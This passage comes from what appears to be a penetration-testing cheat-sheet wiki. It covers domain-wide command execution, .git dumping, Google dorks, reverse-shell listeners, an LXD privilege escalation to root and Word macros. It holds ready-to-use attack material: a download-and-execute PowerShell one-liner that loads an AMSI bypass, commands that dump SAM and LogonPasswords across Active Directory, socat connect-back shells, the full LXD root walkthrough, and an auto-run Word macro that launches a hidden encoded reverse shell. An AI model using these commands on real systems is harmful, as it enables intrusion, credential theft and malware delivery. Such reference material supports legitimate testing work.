[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
